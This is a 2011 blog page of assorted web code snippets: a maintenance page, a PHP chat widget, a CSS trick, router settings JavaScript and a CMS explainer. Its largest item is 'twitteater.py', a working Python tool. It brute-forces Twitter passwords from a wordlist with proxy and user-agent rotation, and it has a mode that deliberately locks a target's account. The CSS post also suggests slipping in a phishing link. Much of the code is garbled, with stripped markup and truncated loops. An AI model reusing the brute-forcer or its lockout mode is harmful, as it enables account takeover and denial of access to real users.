Friday, December 30, 2011

HTML maintenance page

Created by Crash_Override


Code:
 



Untitled Document


Starflower


Website is currently under construction

Note: Website will be up soon

Contact Administrators
Email:

We will contact you in the next 24 hours.

Minichat (php)

Minichat no MySQL need

Add the bellow code in your page:

PHP Code:
 
<button onmouseover="this.style.cursor='pointer'";  onClick="send()"><img src="images/send.gif" width="133">button><br>
<
input style="background: black; color: white; text-align: center" onFocus="value=''" type="text"  name="search" id="chat"  value="">
<
br>
<
div id="frame1">
<
iframe width="153" src="jkgh1g5h1j5gh12k5g21hk5gh5gf12tjf12cj125jyc2y5l6glug36gl36lg6gyk5f12yk1fgk515k125gyk251h125vh125kjhv51k.php">
iframe>
<
script>
function 
send()
{
var 
message document.getElementById('chat').value;
var 
meslen document.getElementById('chat').value.length;
if (
meslen <= 0)
{
alert('Please,write the message.');
}
else if (
meslen >= 81)
{
alert('Maximum characters in your messages must be 80');
}
else
{
document.getElementById("frame1").innerHTML='+message+'">';
}
}
 

twitter brute force (py)

CODE:
#!/usr/bin/python
# Toolname   : twitteater.py
# Programmer : gunslinger_ 
# my forum   : www.devilzc0de.org/forum
# Version    : v1.0
# This was written for educational purpose only. 
# Use this at your own risk.
# Author will be not responsible for any damage !
# I'm preffer using curl on system than using pycurl

import sys, time, StringIO, commands, re, os, random 

# Define variable
__programmer__ = "gunslinger_ "
__version__    = "1.0"
twittbird    = '''
   +++                    ++++  ++++       +++
  +++++                                 ++++  ++++        +++++
  +++++                                  ++   ++++        +++++
  ++++++++++++++  ++       ++      ++         ++++        +++++           ++++         ++++++
  ++++++++++++++ ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++++++++    ++++++++++
  +++++          ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++   +++++  ++++++++++
  +++++          ++++     ++++    ++++  ++++  ++++++++++  +++++++++    +++++++++++++ +++++
  +++++          ++++    ++++++   ++++  ++++  +++++       +++++        +++++++++++++ ++++
   ++++++++++++  ++++++ +++++++  +++++  ++++   +++++++++   +++++++++   ++++          ++++
    ++++++++++++  +++++++++++++++++++   ++++    +++++++++   ++++++++   +++++++++++   ++++
     ++++++++++     +++++++  ++++++     ++++     ++++++++    +++++++     ++++++++    ++++
     "The bird has been eaten by python snake..."
     
     Programmer : %s
     Version    : %s
     Twitter bruteforcer & freezer
''' % (__programmer__, __version__)

option           = '''
Usage  : %s [options]
Option : -u, --username            |   User for bruteforcing
         -w, --wordlist            |   Wordlist used for bruteforcing
     -s, --singlepass          |   Use single password (for update status only) 
     -d, --updatestatus             |   Post new status at given username        
         -v, --verbose                |   Set %s will be verbose
         -p, --proxy             |   Set proxy will be use
         -t, --timeout             |   Set %s timeout request time (default : 15)
         -r, --refferer              |   Set %s refferer will be use (default : random)
         -f, --freeze                |   freeze user, user will be unable login for any minute
         -l, --log             |   Specify output filename (default : twitteater.log)
         -h, --help                    |   Print this help
                                                            
Example : 
     - bruteforcing mode  ~> %s -u brad@hackme.com -w wordlist.txt 
     - freeze mode          ~> %s -u brad@hackme.com -f
     - update status mode ~> %s -u brad@hackme.com -s hackmeifyoucan -d "Beware of Programmers who carry screwdrivers. -- Leonard Brandwein"
       
P.S : add "&" to run in the background  
''' % (sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0])

hme = '''
Usage : %s [option]
    -h or --help for get help''' % sys.argv[0]

refferer     = ['http://twitter.com/',
        'http://twitter.com/login',
        'http://twitter.com/about/contact',
        'http://blog.twitter.com/',
        'http://status.twitter.com/',
        'http://twitter.com/about',
        'http://twitter.com/about'
           ]

ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
            'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
            'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
            'Microsoft Internet Explorer/4.0b1 (Windows 95)',
            'Opera/8.00 (Windows NT 5.1; U; en)',
        'amaya/9.51 libwww/5.4.0',
        'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
        'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
        'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
        ]
freeze = False
upstat = False
brute = False
counter = 1
# warn , twitter will lock username after 17 x login attempt (tested)
maxlock = 18
verbocity = ''
proxy     = ''
background = ''
timeout      = '15'
statsurl  = 'http://twitter.com/statuses/update.xml'
credential = 'http://twitter.com/account/verify_credentials.xml'
green     = '\033[38m'
red     = '\033[31m'
reset     = '\033[0;0m'
log = "twitteater.log"
file = open(log, "a")

def helpme():
    print twittbird
    print option
    file.write(twittbird)
    file.write(option)
    sys.exit(1)
    
def helpmee():
    print twittbird
    print hme
    file.write(twittbird)
    file.write(hme)
    sys.exit(1)
        
for arg in sys.argv:
    if arg.lower() == '-u' or arg.lower() == '--user':
                username = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                brute = True
        elif arg.lower() == '-f' or arg.lower() == '--freeze':
                freeze = True
        elif arg.lower() == '-d' or arg.lower() == '--updatestatus':
            newstatus = sys.argv[int(sys.argv[1:].index(arg))+2]
            newstatus = newstatus.replace("_"," ")
                upstat = True
        elif arg.lower() == '-t' or arg.lower() == '--timeout':
                timeout = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-s' or arg.lower() == '--singlepass':
                password = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-r' or arg.lower() == '--refferer':
                refferer = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-p' or arg.lower() == '--proxy':
                proxy = '-x '+sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-v' or arg.lower() == '--verbose':
            verbocity = "-v"
        elif arg.lower() == '-l' or arg.lower() == '--log':
            log = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-h' or arg.lower() == '--help':
            helpme()
    elif len(sys.argv) <= 1:
        helpmee()

def updatestatus():
    
    trytwitter = 'curl -u %s:%s %s -d status=\"%s\" %s --connect-timeout %d -A \"%s\" %s' % (username, password, statsurl, newstatus, verbocity, int(timeout), random.choice(ouruseragent), proxy)
    restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
    updated = re.findall("", restwitter)
    duplicate = re.findall("Status is a duplicate.", restwitter)
    if verbocity == "-v":
        print restwitter
    if duplicate:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Duplicate status found\"")
        print "[*] Duplicate status is not accepted by twitter, please don't reduplicate it\n"
        file.write("\n[*] Duplicate status is not accepted by twitter, please don't reduplicate it!\n\n")
        sys.exit(1)
    if updated:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status successfully\"")
        print "[*] Update status : %s%s%s has been posted successfully ! \n" % (red, newstatus, reset)
        file.write("\n[*] Update status : %s has been posted successfully !\n\n" % (newstatus))
        sys.exit(1)
    else:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status failed\"")
        print "[*] password is wrong ! \n" 
        file.write("\n[*] password is wrong !\n\n")
        sys.exit(1)

def freezemode():
    global counter
    if freeze:
        print "[*] Trying to freeze account %s%s%s, user will be unable login for hour(s)" % (red, username, reset)
        file.write("\n[*] Trying to freeze account %s, user will be unable login for hour(s)" % (username))
        try:
            while counter <= maxlock:
                sys.stdout.write("\r[*] %s%d%s try has gived...                          " % (red, int(counter), reset))
                sys.stdout.flush()
                trytwitter = 'curl -u %s:freeze %s %s --connect-timeout %d' % (username, credential, verbocity, int(timeout))
                restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
                locked = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
                if locked:
                    os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account successfully freeze\"")
                    print "\n[*] Acount freeze %s%s%s succeded, and unable for login for %d seconds !" % (red, username, reset, int(locked[0]))
                    file.write("\n[*] Acount freeze %s succeded, and unable for login for %d seconds !\n\n" % (username, int(locked[0])))
                    sys.exit(1)
                if verbocity == "-v":
                    print restwitter
                counter = int(counter) + 1
        except KeyboardInterrupt:
            print "\n[-] Deactivated freezing mode\n"
            file.write("\n[-] Deactivated freezing mode\n")
            sys.exit(1)
        
def twitteater(word):
    global counter
    sys.stdout.write("\r[*] Trying %s is %s%d%s of %s%d%s                                  " % (word, red, int(counter), reset, red, len(words), reset))
    sys.stdout.flush()
    file.write("\n[*] Trying %s is %d of %d                                                \n" % (word, int(counter), len(words)))
         try:
        trytwitter = 'curl -u %s:%s %s -A "%s" %s -e %s --connect-timeout %d %s' % (username, word, credential, random.choice(ouruseragent), verbocity, random.choice(refferer), int(timeout), proxy)
        restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
        partwitter = re.findall("", restwitter)
        sick = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
        if sick:
            print "\n[*] Account %s%s%s has been freeze by twitter" % (red, username, reset)
            file.write("\n[*] Account %s has been freeze by twitter" % (username))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account has been freeze\"")
            sleeper = 0
            while sleeper <= int(sick[0]):
                sys.stdout.write("\r[*] Waiting %d second(s) for start bruteforcing again...           " % (int(sick[0])))
                sys.stdout.flush()
                sleeper = int(sleeper) + 1
                sick[0] = int(sick[0]) - 1
                time.sleep(1)
        if partwitter:
            print "\n[*] Account has been login successfully !"
            print "[*] Username : %s%s%s" % (red, username, reset)
            print "[*] Password : %s%s%s" % (red, word, reset)
            file.write("\n[*] Account has been login successfully !\n")
            file.write("[*] Username : %s\n" % (username))
            file.write("[*] Password : %s\n\n" % (word))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"login successfull !\"")
            sys.exit(1)
        if verbocity == "-v":
            print restwitter
    except KeyboardInterrupt:
        print "\n[-] Deactivated bruteforcing mode...\n"
        file.write("\n[-] Deactivated bruteforcing mode...\n")
        sys.exit(1)
    counter = int(counter) + 1
          
def bruteforcemode():
    global word        
    for word in words:
        twitteater(word.replace("\n",""))    

def main():
    global words
    print twittbird
    file.write(twittbird)
    print "[*] Starting attack at %s" % time.strftime("%X")
    file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
    if freeze:
        print "[*] %sFreeze%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Freeze mode activated")
    elif brute:
        print "[*] %sBruteforce%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] bruteforce mode activated")
    elif upstat:
        print "[*] %sUpdate status%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Update status mode activated")
    print "[*] Using PID : %s%s%s \n" % (red, os.getpid(), reset)
    file.write("\n[*] Using PID : %s \n" % (os.getpid()))
    if freeze:
        freezemode()
    if upstat:
        updatestatus()
    if brute:     
        try:
            preventstrokes = open(wordlist, "r")
            words            = preventstrokes.readlines()
            count          = 0 
            while count < len(words): 
                words[count] = words[count].strip() 
                count += 1 
        except(IOError): 
              print "\n[-] Error: Check your wordlist path\n"
            file.write("\n[-] Error: Check your wordlist path\n")
              sys.exit(1)
        bruteforcemode()
        twitteater(word)

    
if __name__ == '__main__':
    main()




Trick them with css (Copy past preventing)

Hello dudes i will show you how you can fool someone if he try to copy past your email address or any text in your lovely page

Step 1

Add this (css) code in to your page (internal or external its upon you)

PHP Code:
<style type="text/css">

.
fooling{
  
float:right;
  
font-size:.001px;
  
color:transparent;
  
display:inline-block;
  
width:0px;
  }
style
Step 2:

In the body i will give you an example what you could add (editable)

PHP Code:
my<span cl***="fooling">spam-span>email@yahoo<span cl***="fooling">removedspan>.com 
How it looks like in your page?
It will looks like that..

myemail@yahoo.com


Now after he copy past your email he will got this:

myspam-email@yahooremoved.com

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm As you can see copy past is not possible anymore its copying wrong text & because i know how evil you are... you can simple trick him with your fake (Phishing page link) DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Wireless LAN Access Point *WEBPAGE*

Just a simple web page I have made.
Note: Copy to a notepad and save as .html - *All files*



Code:
var Channel_24G_Text = new Array (" / 2.412GHz", " / 2.417GHz", " / 2.422GHz", " / 2.427GHz", " / 2.432GHz", 

                                  " / 2.437GHz", " / 2.442GHz", " / 2.447GHz", " / 2.452GHz", " / 2.457GHz",

                                  " / 2.462GHz", " / 2.467GHz", " / 2.472GHz");



var Band1Channel_20M = new Array (36,40,44,48);

var Band2Channel_20M = new Array (52,56,60,64);

var Band3Channel_20M = new Array (100,104,108,112,116,132,136,140);

var Band4Channel_20M = new Array (149,153,157,161);

var Band1Channel_40M = new Array (36,44);

var Band2Channel_40M = new Array (52,60);

var Band3Channel_40M = new Array (100,108,116,132);

var Band4Channel_40M = new Array (149,157);



var Band1Channel_20M_Text = new Array (" / 5.180GHz", " / 5.200GHz", " / 5.220GHz", " / 5.240GHz");

var Band2Channel_20M_Text = new Array (" / 5.260GHz", " / 5.280GHz", " / 5.300GHz", " / 5.320GHz");

var Band3Channel_20M_Text = new Array (" / 5.500GHz", " / 5.520GHz", " / 5.540GHz", " / 5.560GHz", " / 5.580GHz", " / 5.660GHz", " / 5.680GHz", " / 5.700GHz");

var Band4Channel_20M_Text = new Array (" / 5.745GHz", " / 5.765GHz", " / 5.785GHz", " / 5.805GHz");

var Band1Channel_40M_Text = new Array (" / 5.180GHz", " / 5.220GHz");

var Band2Channel_40M_Text = new Array (" / 5.260GHz", " / 5.300GHz");

var Band3Channel_40M_Text = new Array (" / 5.500GHz", " / 5.540GHz", " / 5.580GHz", " / 5.660GHz");

var Band4Channel_40M_Text = new Array (" / 5.745GHz", " / 5.785GHz");



var initRegion;

var changeMsg = "WARNING: Selecting the incorrect region may result in a violation of applicable law. \nDo you agree to act in accordance with these settings?";

var notShown = true; // only shown region change message once

var initialized = false;

function initScrn()

{

    var defaultKey;

    var fm=document.forms[0];

    var i;



 if(fm.tempSetting.value == 1)

 {

  var temp_region = parseInt(fm.tempRegion.value);

  if (temp_region == 12)

   fm.WRegion.selectedIndex=10;

  else if (temp_region >= 10 && temp_region <= 11)

   fm.WRegion.selectedIndex=temp_region+1;

  else

   fm.WRegion.selectedIndex=temp_region;

 }

        

    initRegion = fm.WRegion.selectedIndex;



    setOpMode();

    setChannel();

    for (i=0; i

    {

        if (fm.w_channel.options[i].value == fm.initChannel.value)

        {

            fm.w_channel[i].selected = true;

            break;

        }

    }

    for (i=0; i

    {

        if (fm.g_channel.options[i].value == fm.initGChannel.value)

        {

            fm.g_channel[i].selected = true;

            break;

        }

    }

    initialized=true;

}

function chgCh(from)

{

    if ( from == 2 )

    {

        var cf = document.forms[0];

        cf.only_mode.value = "1";

        cf.submit();

    }

    else

    {

        setOpMode();

        setChannel();

    }

}



function setOpMode()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;



 cf.opmode.options.length = 4;

 cf.opmode.options[0].text = "Up to 270Mbps at 2.4GHz";

 cf.opmode.options[1].text = "Up to 270Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[2].text = "Up to 130Mbps at 2.4GHz";

 cf.opmode.options[3].text = "Up to 130Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[0].value = "300Mbps";

 cf.opmode.options[1].value = "300Mbps_5G";

 cf.opmode.options[2].value = "130Mbps";

 cf.opmode.options[3].value = "130Mbps_5G";

 cf.opmode.selectedIndex = currentMode;

 

 if (cf.opmode.options[cf.opmode.selectedIndex].value.indexOf("5G") == -1) {

  cf.g_ssid.disabled = true;

  cf.g_channel.disabled = true;

 } else {

  cf.g_ssid.disabled = false;

  cf.g_channel.disabled = false;

 }

}

function setChannel()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var chIndex = cf.w_channel.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;

 var b1=0, b2=0, b3=0, b4=0;



 if (cf.nBand.value == "5G")

 {

  if (cf.opmode.selectedIndex == 1) // 40MHz

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_40M[b1] + Band1Channel_40M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_40M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {   

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_40M[b2] + Band2Channel_40M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_40M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_40M[b3] + Band3Channel_40M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_40M[b3];

       }

   }

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_40M[b4] + Band4Channel_40M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_40M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  else

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_20M[b1] + Band1Channel_20M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_20M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {        

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_20M[b2] + Band2Channel_20M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_20M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_20M[b3] + Band3Channel_20M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_20M[b3];

       }

   }    

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_20M[b4] + Band4Channel_20M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_20M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  //cf.w_channel.options[0].text = "Auto";

  //cf.w_channel.options[0].value = 0;

 }

 else

 {

  if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 1;

  else

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



  cf.w_channel.options[0].text = "Auto";

  cf.w_channel.options[0].value = 0;



  for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

   if (i==14 && cf.opmode.selectedIndex!=0)

    continue;

   cf.w_channel.options[i - StartChannel[index] + 1].value = i;

   cf.w_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i -1];

  }

  cf.w_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.w_channel.options.length)) ? chIndex : 0 ;

 }



 chIndex = cf.g_channel.selectedIndex;

 if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index];

 else

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



 cf.g_channel.options[0].text = "Auto";

 cf.g_channel.options[0].value = 0;



 for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

  if (i==14 && cf.opmode.selectedIndex!=0)

   continue;

  cf.g_channel.options[i - StartChannel[index] + 1].value = i;

  cf.g_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i-1];

 }

 cf.g_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.g_channel.options.length)) ? chIndex : 0 ;

}

function loadhelp(fname,anchname)

{

    if ((loadhelp.arguments.length == 1 ) || (anchname == "" ))

        top.helpframe.location.href=fname+"_h.htm";

    else

        top.helpframe.location.href=fname+"_h.htm#" + anchname;

}

function checkRegion()

{

    var cf = document.forms[0];

    if(cf.WRegion.selectedIndex == 0)

    {

        cf.WRegion.focus();

        return alertR("Please select the correct region for your location");

    }

    if (notShown)

        notShown = false;

    else if(cf.WRegion.selectedIndex != initRegion && notShown)

    {

        if(!confirm(changeMsg))

            return false;

        else notShown = false;

    }

    return true;

}

function checkData()

{

    var cf = document.forms[0];

    if(!checkRegion()) return false;



    if (cf.ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }



    if (cf.g_ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.g_ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }

    

//    if (cf.ssid.value.toLowerCase() == "any")

//    {

//        alert("Invalid SSID.\nThe 'ANY' including any upper/lower case combination\n(e.g, 'Any' or 'aNy') of this word is not allowed to be a SSID.");

//        return false;

//    }



    if(cf.passphrase.value.length < 8)

    {

        alert("Insufficient passphrase length, should be minimum of 8 characters long.");

        return false;    

    }

    if(cf.passphrase.value.length > 63)

    {

        if ( isHex(cf.passphrase.value) == false)

        {

            alert("Passphrase is too long, the maximum length should be 63 characters.");

            cf.passphrase.value = "";

            return false;

        }    

    }

    

    if (cf.passphrase.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in passphrase.");

        cf.passphrase.focus();

        return false;

    }



//    if (cf.wds_enable.value == "1" &&

//        ((cf.g_channel.disabled == true && cf.w_channel[0].selected) ||

//         (cf.g_channel.disabled == false && cf.g_channel[0].selected)))

    if (cf.wds_enable.value == "1" &&

       (cf.g_channel.disabled == true && cf.w_channel[0].selected))

    {

        alert("Auto Channel cannot be used with Wireless Repeating Function.");

        cf.w_channel.focus();

        return false;

    }



    return true;

}

function hotkey(e)

{

    var cf = document.forms[0];

    if(window.event) // IE

    {

        keynum = e.keyCode

    }

    else if(e.which) // Netscape/Firefox/Opera

    {

        keynum = e.keyCode

    }

    if((keynum==77)&&(e.altKey))

    {

        cf.opmode.focus();

        cf.opmode.select;       

    }

    else if((keynum==78)&&(e.altKey))

    {

        cf.security_type[0].checked = true;  

        document.forms[0].submit();  

    } 

}

// -->








Wireless Settings

 
Wireless Network
Name (11N SSID):
Name (11G SSID):
Region:
Mode:
11N Channel:
11G Channel:
 
Security Options
None
WEP
WPA-PSK [TKIP]
WPA2-PSK [AES]
WPA-PSK [TKIP] + WPA2-PSK [AES]
 
Security Options (WPA-PSK)
  Passphrase:   (8-63 characters or 64 hex digits)
 

 

[Javascript] Annoying

Code:

Web Content Management

A web content management solution is a kind of software which allows the user to make changes or edit the content of any website without having any web design knowledge. It is essentially a computer system which is used to maintain web documents. CMS web designers create series of CMS templates where webpages are dropped for future changes. User can then use a simple interface to add, delete or modify the content of the page. CMS also provides simple and easy way to create new webpages. A CMS allows document editing, auditing and timeline management.



Why CMS?
If you have a website then you need to update it regularly so that your visitors find it interesting. Stagnant websites are like stale food making every one disinterested to even see. But it will need a lot of money if you plan to update your site by web developers every week. Hence you can have a mid way for this. A CMS can help you update your website allowing you to edit or modify the content in your website. You can save money and time by using CMS. Through CMS, you can update your content as often as you want. With constant updating your site will look more interactive and appealing. If you plan to update your content then it is a good idea to have a CMS.



Key Features of CMS
Many CMS' have different features. It is not essential that every CMS will have similar features. The basic feature of CMS is to edit the content of the website. Many CMS' have features like access rights management and content approval, dynamic site maps, e-mail alerts, dual or multilingual functionality, form creation and management, standard and accessibility compliance, Meta tag updating, site security, image optimization and processing, versioning, static report and search functionality.



How to get CMS?
Many web deigning companies offer CMS along with other services. CMS pricing depends on the number of pages and users involved in it. You can get varieties of CMS offered by different companies. Make sure you do a thorough market research before spending big bucks on CMS. You can also consult software companies for better advice.

Newer Posts Older Posts Home